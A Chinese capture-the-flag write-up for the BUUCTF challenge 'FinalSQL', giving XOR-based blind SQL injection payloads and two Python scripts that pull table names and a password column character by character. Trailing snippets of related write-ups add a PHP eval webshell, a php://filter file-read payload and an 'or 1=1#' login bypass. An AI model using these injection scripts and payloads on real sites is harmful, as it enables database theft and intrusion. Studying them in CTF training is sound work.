[极客大挑战 2019]FinalSQL

0x00 知识点

盲注

0x01 解题

根据题目提示盲注,随便点几下找到注入点

发现我们输入^符号成功跳转页面,证明存在注入

1^(ord(substr((select(group_concat(schema_name))from(information_schema.schema
ta)),%d,1))=%d)^1"%(i,ord(j)) 获取数据库名称

1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)
where(table_schema)='geek'),%d,1))=%d)^1"%(i,ord(j)) 获取数据库表名

1^(ord(substr((select(group_concat(column_name))from(information_schema.column
s)where(table_name='F1naI1y')),%d,1))=%d)^1"%(i,ord(j))
获取数据库列名

获取flag:

import requests
url = "http://9c13f59b-720e-4c5a-9d63-69342c1be65a.node3.buuoj.cn/search.php"
for i in range(1,20):
    for j in range(1,128):
        d ="?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),'"+str(i)+"',1))='"+str(j)+"')^1"
        r = requests.get(url+d)
        if 'Click' in r.text:
            print(chr(j))

这里再贴一个师傅的盲注脚本:

https://blog.csdn.net/qq_42967398/article/details/102979306

import requests
import io
import sys
import string
import time

sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')       #改变标准输出的默认编码,否则s.text不能输出
'''
url = "http://118.25.14.40:8104/search.php?id=1=(1)=1"
s = requests.get(url)
s.encoding = 'utf-8'
content = s.content

#检验是否成功
if 'NO! Not this! Click others~~~' in s.text:
    s.encoding = 'gbk'
    print(s.text)

#构造sql注入语句
F1naI1y,Flaaaaag
and(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))=xxx)and(length(database()))!='20
ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))=%s
ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='do_y0u_l1ke_long_t4ble_name')),%s,1))=%s
ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),%s,1))=%s
'''

url = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))=%s)=1"
url2 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%s,1))=%s)=1"
url3 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),%s,1))=%s)=1"
url4 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%s,1))=%s)=1"
url5 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(password))from(F1naI1y)),%s,1))=%s)=1"
ss = ""
x = string.printable

for i in range(1,30):
    for j in x:
        payload = url5%(str(i),ord(j))
        #print(payload)
        time.sleep(0.5)
        s = requests.get(payload)
        if 'NO! Not this! Click others~~~' in s.text:
            ss += j
            print(ss)
            break

参考链接
http://www.pdsdt.lovepdsdt.com/index.php/2019/11/19/2019_geek_web/#0x20_Finalsql

https://blog.csdn.net/qq_42967398/article/details/102979306

原文地址:https://www.cnblogs.com/wangtanzhi/p/12305052.html

时间: 2024-08-19 05:44:55

[极客大挑战 2019]FinalSQL的相关文章

[极客大挑战 2019]Havefun (一起来撸猫) CTF复现

前言 这是一道非常简单基础的CTF题,好久都没有遇到这种简单的题了,让我看到了生活的希望,对未来充满了向往 题目链接:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]Havefun (https://buuoj.cn里面web类的[极客大挑战 2019]Havefun) 复现 初次试水 打开题目链接我们可以看到只是一个静态页面,就连可以点的东西都没有 明察秋毫 页面出了一只可爱的胖

[极客大挑战 2019]EasySQL CTF复现

前言 之前复现了一下极客大挑战2019的Havefun感觉非常的简单,应该是我没有参加极客大挑战把,对这些题没啥印象.复现完Havefun之后接着做了做EasySQL发现这也是一道非常基础的题 复现 初次相遇 我们打开题目链接发现是一个充满黑客色彩的登录页面 发现没有注册的功能,题目是EasySQL,我们猜测出题人的意思就是想让我们注入进去吧 逐步尝试 我们试着加在用户名或密码处加一个单引号,点击登录后我们发现报错了 在报错信息中我们可以看到是字符类的注入,我们可以通过"万能密码"来直

CTF [极客大挑战 2019]Secret File 复现

[极客大挑战 2019]Secret File 复现 知识点 前端中背景可以覆盖内容,页面源代码可以查看完整的html 在php文件中可以写入html代码,html可在前端展示出来,php代码主要是处理数据,通常不会展示. 文件包含漏洞,PHP伪协议获取文件 php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用. 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile(). file() 和 file_get_contents(), 在数据流内容

[极客大挑战 2019]Havefun

打开题目右键查看源代码 <!--$cat=$_GET['cat']; echo $cat; if($cat=='dog') {echo 'Syc{cat_cat_cat_cat}';}--> 直接传参/?cat=dog 得到flag 原文地址:https://www.cnblogs.com/wangtanzhi/p/12173282.html

[极客大挑战 2019]Secret File

0x00知识点 没有过滤file 使用php的file伪协议去读取文件 ?file=php://filter/convert.base64-encode/resource=flag.php 0x01解题 打开网站存在跳转.抓包,访问 http://152518b2-d342-4872-8adc-b5bcec554a4d.node3.buuoj.cn/secr3t.php 给了我们源代码 <html>????<title>secret</title>????<met

[极客大挑战 2019]LoveSQL

0x00 知识点 1:万能密码登陆 2:登陆后直接使用联合查询注入 0x01解题 登陆后进行简单测试发现是字符型注入 order by 测试数据库有多少字段 发现在4的时候报错,没有过滤,直接进行注入 注入数据库: admin'union+select+1,2,group_concat(schema_name)+from+information_schema.schemata# 查询数据表 username=admin&password=admin'%20union%20select%201%2

[极客大挑战 2019]Upload

0x00 知识点 一个常规上传题目,知识点全都来自前几天写的文章: https://www.cnblogs.com/wangtanzhi/p/12243206.html 1:某些情况下绕过后缀名检测: php,php3,php4,php5,phtml.pht 2:常用一句话: GIF89a? <script language="php">eval($_REQUEST[shell])</script> php5适用 3:文件类型绕过 改成image/jpeg 0x

[极客大挑战 2019]PHP CTF题解与分析

知识点 php序列化与反序列化 序列化:函数为serialize(),把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 反序列化:函数为unserialize(),将字符串转换成变量或对象的过程 常用的魔术方法: __construct():创建对象时初始化,当一个对象创建时被调用 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __destruction():结束时销毁对象,当一个对象销毁时被调用 private

极客大挑战 2019 web 部分解

复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d044fcc945.node3.buuoj.cn/?cat=dog 0x02:EasySQL 用万能密码 用户名:'or 1=1# 密码 : 随便输 看下用户名和密码都不知道的情况: username='admin'or 1=1#' and password='随便写' #把后面的都注释掉了,1=1为